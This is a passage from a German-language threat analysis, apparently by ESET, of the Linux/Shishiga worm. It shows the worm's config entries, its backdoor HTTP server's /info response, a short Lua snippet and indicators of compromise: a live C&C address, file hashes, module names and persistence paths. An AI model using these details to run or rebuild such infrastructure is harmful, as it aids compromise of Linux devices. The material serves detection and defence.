<span style="font-family: helvetica, arial, sans-serif;"><code data-lang="python"><span class="tok-p">{</span> <span class="tok-s1">'sig'</span><span class="tok-p">:</span> <span class="tok-o"><</span><span class="tok-n">removed</span><span class="tok-o">></span><span class="tok-p">,</span> <span class="tok-s1">'k'</span><span class="tok-p">:</span> <span class="tok-o"><</span><span class="tok-n">removed</span><span class="tok-o">></span><span class="tok-p">,</span> <span class="tok-s1">'salt'</span><span class="tok-p">:</span> <span class="tok-s1">'update'</span><span class="tok-p">,</span> <span class="tok-s1">'seq'</span><span class="tok-p">:</span> <span class="tok-mi">1486885364</span><span class="tok-p">,</span> <span class="tok-s1">'v'</span><span class="tok-p">:</span> <span class="tok-s1">'bf4d9e25fc210a1d9809aebb03b30748dd588d08,mipsel.lm</span><span class="tok-se">\n</span> <span class="tok-mi">8</span><span class="tok-n">a0d58472f6166ade0ae677bab7940fe38d66d35</span><span class="tok-p">,</span><span class="tok-n">armv4l</span><span class="tok-o">.</span><span class="tok-n">lm</span>\<span class="tok-n">n</span> <span class="tok-mi">51</span><span class="tok-n">a4ca78ebb0649721ae472290bea7bfe983d727</span><span class="tok-p">,</span><span class="tok-n">mips</span><span class="tok-o">.</span><span class="tok-n">lm</span>\<span class="tok-n">n</span> <span class="tok-mi">979</span><span class="tok-n">fb376d6adc65473c4f51ad1cc36e3612a1e73</span><span class="tok-p">,</span><span class="tok-n">powerpc</span><span class="tok-o">.</span><span class="tok-n">lm</span>\<span class="tok-n">n</span> <span class="tok-n">ce4b3c92a96137e6215a5e2f5fd28a672eddaaab</span><span class="tok-p">,</span><span class="tok-n">i686</span><span class="tok-o">.</span><span class="tok-n">lm</span>\<span class="tok-n">n</span><span class="tok-s1">'</span> <span class="tok-p">}</span></code></span> |
server.bt
|
1 2 3 4 5 6 7 |
<span style="font-family: helvetica, arial, sans-serif;"><code data-lang="python"><span class="tok-p">{</span> <span class="tok-s1">'sig'</span><span class="tok-p">:</span> <span class="tok-o"><</span><span class="tok-n">removed</span><span class="tok-o">></span><span class="tok-p">,</span> <span class="tok-s1">'k'</span><span class="tok-p">:</span> <span class="tok-o"><</span><span class="tok-n">removed</span><span class="tok-p">,</span> <span class="tok-s1">'salt'</span><span class="tok-p">:</span> <span class="tok-s1">'server'</span><span class="tok-p">,</span> <span class="tok-s1">'seq'</span><span class="tok-p">:</span> <span class="tok-mi">1486835166</span><span class="tok-p">,</span> <span class="tok-s1">'v'</span><span class="tok-p">:</span> <span class="tok-s1">'93.117.137.35:8080</span><span class="tok-se">\n</span><span class="tok-s1">'</span> <span class="tok-p">}</span></code></span> |
Die Hauptfunktionalität des server.lua-Moduls ist einen HTTP-Server mit dem in config.lua definierten Port zu erstellen. Bei allen analysierten Samples ist das Port 8888.
Der Server antwortet nur auf /info und /upload -Anfragen. Unten ist eine (verschönerte) Version der Serverantwort auf den /info -Pfad. Alle hier aufgelisteten Dateien können ganz einfach vom kompromittierten Gerät heruntergeladen werden.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
<span style="font-family: helvetica, arial, sans-serif;"><code data-lang="json"><span class="tok-p">{</span> <span class="tok-nt">"src"</span><span class="tok-p">:[</span> <i class="conum" data-value="1"></i><b>(1)</b> <span class="tok-s2">"test.lua"</span><span class="tok-p">,</span> <span class="tok-s2">"test1.lua"</span><span class="tok-p">,</span> <span class="tok-s2">"test10.lua"</span><span class="tok-p">,</span> <span class="tok-s2">"test2.lua"</span><span class="tok-p">,</span> <span class="tok-s2">"test3.lua"</span><span class="tok-p">,</span> <span class="tok-s2">"test5.lua"</span><span class="tok-p">,</span> <span class="tok-s2">"test6.lua"</span><span class="tok-p">,</span> <span class="tok-s2">"test_1.lua"</span><span class="tok-p">,</span> <span class="tok-s2">"test_2.lua"</span><span class="tok-p">,</span> <span class="tok-s2">"test_3.lua"</span><span class="tok-p">,</span> <span class="tok-s2">"test_4.lua"</span> <span class="tok-p">],</span> <span class="tok-nt">"dm"</span><span class="tok-p">:[</span> <i class="conum" data-value="2"></i><b>(2)</b> <span class="tok-s2">"armv4l.dm"</span><span class="tok-p">,</span> <span class="tok-s2">"i686.dm"</span><span class="tok-p">,</span> <span class="tok-s2">"mips.dm"</span><span class="tok-p">,</span> <span class="tok-s2">"mipsel.dm"</span> <span class="tok-p">],</span> <span class="tok-nt">"bt"</span><span class="tok-p">:[</span> <i class="conum" data-value="3"></i><b>(3)</b> <span class="tok-s2">"script.bt"</span><span class="tok-p">,</span> <span class="tok-s2">"server.bt"</span><span class="tok-p">,</span> <span class="tok-s2">"update.bt"</span> <span class="tok-p">],</span> <span class="tok-nt">"version"</span><span class="tok-p">:</span><span class="tok-s2">"1.0.0"</span><span class="tok-p">,</span> <i class="conum" data-value="4"></i><b>(4)</b> <span class="tok-nt">"lua"</span><span class="tok-p">:[</span> <i class="conum" data-value="5"></i><b>(5)</b> <span class="tok-s2">"armv4l.lm"</span><span class="tok-p">,</span> <span class="tok-s2">"i686.lm"</span><span class="tok-p">,</span> <span class="tok-s2">"mips.lm"</span><span class="tok-p">,</span> <span class="tok-s2">"mipsel.lm"</span><span class="tok-p">,</span> <span class="tok-s2">"powerpc.lm"</span> <span class="tok-p">],</span> <span class="tok-nt">"os"</span><span class="tok-p">:</span><span class="tok-s2">"lin"</span><span class="tok-p">,</span> <span class="tok-nt">"arch"</span><span class="tok-p">:</span><span class="tok-s2">"i686"</span><span class="tok-p">,</span> <span class="tok-nt">"lua_version"</span><span class="tok-p">:</span><span class="tok-s2">"Lua 5.3"</span> <span class="tok-p">}</span></code></span> |
| (1) | Lua-Skripts |
| (2) | Backdoor (alter Name: .dl) |
| (3) | BitTorrent Skripts |
| (4) | Malware Version |
| (5) | Module-Lader |
Das Abfragen des Roots am Port 8888 führt zu HTTP/1.0 404 OK und gilt als einfaches Indiz für eine Kompromittierung (IoC).
http.lua response function
|
1 2 3 4 5 6 |
<span style="font-family: helvetica, arial, sans-serif;"><code data-lang="lua"><span class="tok-kr">function</span> <span class="tok-nc">http</span><span class="tok-p">.</span><span class="tok-nf">response</span><span class="tok-p">(</span><span class="tok-n">req</span><span class="tok-p">,</span><span class="tok-n">code</span><span class="tok-p">,</span><span class="tok-n">data</span><span class="tok-p">,</span><span class="tok-n">timeout</span><span class="tok-p">)</span> <span class="tok-n">timeout</span><span class="tok-o">=</span><span class="tok-n">timeout</span> <span class="tok-ow">or</span> <span class="tok-n">timeoutDef</span> <span class="tok-kd">local</span> <span class="tok-n">hdr</span><span class="tok-o">=</span><span class="tok-s2">"HTTP/1.0 %d OK</span><span class="tok-se">\r\n</span><span class="tok-s2">Content-Length: %d</span><span class="tok-se">\r\n</span><span class="tok-s2">Connection: close</span><span class="tok-se">\r\n\r\n</span><span class="tok-s2">"</span> <span class="tok-n">async</span><span class="tok-p">.</span><span class="tok-n">sendall</span><span class="tok-p">(</span><span class="tok-n">req</span><span class="tok-p">.</span><span class="tok-n">sock</span><span class="tok-p">,</span><span class="tok-n">hdr</span><span class="tok-p">:</span><span class="tok-n">format</span><span class="tok-p">(</span><span class="tok-n">code</span><span class="tok-p">,</span><span class="tok-n">data</span><span class="tok-p">:</span><span class="tok-n">len</span><span class="tok-p">())</span><span class="tok-o">..</span><span class="tok-n">data</span><span class="tok-p">,</span><span class="tok-n">timeout</span><span class="tok-p">)</span> <span class="tok-kr">return</span> <span class="tok-kc">true</span> <span class="tok-kr">end</span></code></span> |
Zum Zeitpunkt der Untersuchungen bat ESET das Censys-Team um einen umfangreichen Scan des Internets am TCP Port 8888. Sie fanden rund zehn IP-Adressen, welche die obige HTTP-Antwort ausgaben. Die dazugehörigen Geräte sind also alle potentiell kompromittiert.
Fazit
Auf den ersten Blick scheint Linux/Shishiga wie andere Malware zu sein, die sich durch das Ausnutzen schwacher Telnet- und SSH-Anmeldeinformationen ausbreitet. Aber die Verwendung des BitTorrent-Protokolls und der Lua-Module hebt sie von anderen ab. BitTorrent konnte schon im Mirai-inspirierten Wurm Hajime im vergangenen Jahr beobachtet werden. Wir vermuten, dass BitTorrent sich in Zukunft zunehmender Beliebtheit bei Malware-Entwicklern erfreuen dürfte.
Es ist durchaus möglich, dass sich Linux/Shishiga gerade erst entwickelt und noch weiterverbreitet. Die noch geringe Anzahl von Opfern, das konstante Hinzufügen, Entfernen und Ändern von Komponenten, Code-Kommentare und Debug-Informationen sprechen jedoch für sich.
Um zu verhindern, dass Linux/Shishiga und ähnliche Malware das eigene Linux-System kompromittiert, sollten Standard-Telnet- und SSH-Anmeldeinformationen unbedingt vermieden werden.
Wir danken dem Censys-Team für ihre Zusammenarbeit.
IoCs
C&C
93.117.137.35
SHA-1 hashes (.lm)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
<span style="font-family: helvetica, arial, sans-serif;">003f548796fb52ad281ae82c7e0bb7532dd34241 1a79092c6468d39a10f805c96ad7f8bf303b7dc8 1cc1b97f8f9bb7c4f435ef1316e08e5331b4331b 2889803777e2dfec7684512f45e87248a07d508f 2a809d37be5aa0655f5cc997eb62683e1b45da17 3f1ef05ca850e2f5030ee279b1c589c9e3cc576c 41bf0d5612ba5bc9a05e9d94df0f841b159264a0 4bc106f6231daa6641783dd9276b4f5c7fc41589 4d55efe18643d7408cbe12dd4f319a68084bd11e 4df58ab26f0fc8ec2d1513611ca2b852e7107096 51a4ca78ebb0649721ae472290bea7bfe983d727 5a88b67d8dfaf1f68308311b808f00e769e39e46 6458c48e5167a2371d9243d4b47ad191d642685b 688ccbca8b2918a161917031e21b6810c59eeab0 6e3ba86d1f91669e87945b8ea0211b58e315e189 6f41c8f797814e2e3f073601ce81e8adceef6a27 8a0d58472f6166ade0ae677bab7940fe38d66d35 8a1f9212f181e68a63e06a955e64d333b78c6bf6 8e3c4eb04d4cfd8f44c721111c5251d30ac848b6 979fb376d6adc65473c4f51ad1cc36e3612a1e73 a1f2535576116d93b62d7f5fc6e30e66e0e0a216 a694c6ecc2ff9702905f22b14ed448e9e76fe531 ac094b239851eaf2e9fd309285c0996fb33771a8 b14f7af9665ef77af530109a0331f8ca0bd2a167 b86935c4539901cdec9081d8a8ca915903adaff1 ba5df105496b0c4df7206d29fa544b7a7a346735 bf4d9e25fc210a1d9809aebb03b30748dd588d08 c22f0fb01c6d47957732a8b0f5ef0f7d4e614c79 ce4b3c92a96137e6215a5e2f5fd28a672eddaaab d8a5d9c4605b33bd47fedbad5a0da9928de6aa33 f73022a4801e06d675e5c3011060242af7b949ad</span> |
SHA-1 hashes (.dl)
|
1 2 3 4 |
<span style="font-family: helvetica, arial, sans-serif;">274181d2f9c6b8f0e217db23f1d39aa94c161d6e 8abbb049bffd679686323160ca4b6a86184550a1 95444c2ccc5fff19145d60f1e817fd682cabe0cd 9cde845852653339f67667c2408126f02f246949</span> |
Lua-Skript Dateinamen:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
<span style="font-family: helvetica, arial, sans-serif;">async.lua async.lua.old bencode.lua bfssh.lua bfssh.lua.old2 bftelnet.lua btloader.lua callhome.lua callhome.lua.old config.lua crypto.lua dht.lua event.lua evs.lua http.lua httpproto.lua libevent2.lua luaevent.lua main.lua main2.lua malware.lua persist.lua readme.lua routing.lua scanner.lua scanner2.lua server.lua socket.lua socks.lua ssh.lua ssl.lua telnet.lua test.lua test1.lua test10.lua test2.lua test3.lua test5.lua test6.lua threads.lua torrent.lua udp.lua utils.lua worm.lua</span> |
Dateien, die möglicherweise eine Kompromittierung anzeigen könnten:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
<span style="font-family: helvetica, arial, sans-serif;">/tmp/.local/* /tmp/drop /tmp/srv $HOME/.local/ssh.txt $HOME/.local/telnet.txt $HOME/.local/nodes.cfg $HOME/.local/check $HOME/.local/script.bt $HOME/.local/update.bt $HOME/.local/server.bt $HOME/.local/syslog $HOME/.local/syslog.pid $HOME/.local/{armv4l,i686,mips,mipsel}.{dl,dm} $HOME/.local/{armv4l,i686,mips,mipsel,powerpc}.lm</span> |
|
1 2 3 4 5 6 7 |
<span style="font-family: helvetica, arial, sans-serif;">/etc/rc2.d/S04syslogd /etc/rc3.d/S04syslogd /etc/rc4.d/S04syslogd /etc/rc5.d/S04syslogd /etc/init.d/syslogd /bin/syslogd /etc/cron.hourly/syslogd</span> |
Hier können Sie mitdiskutieren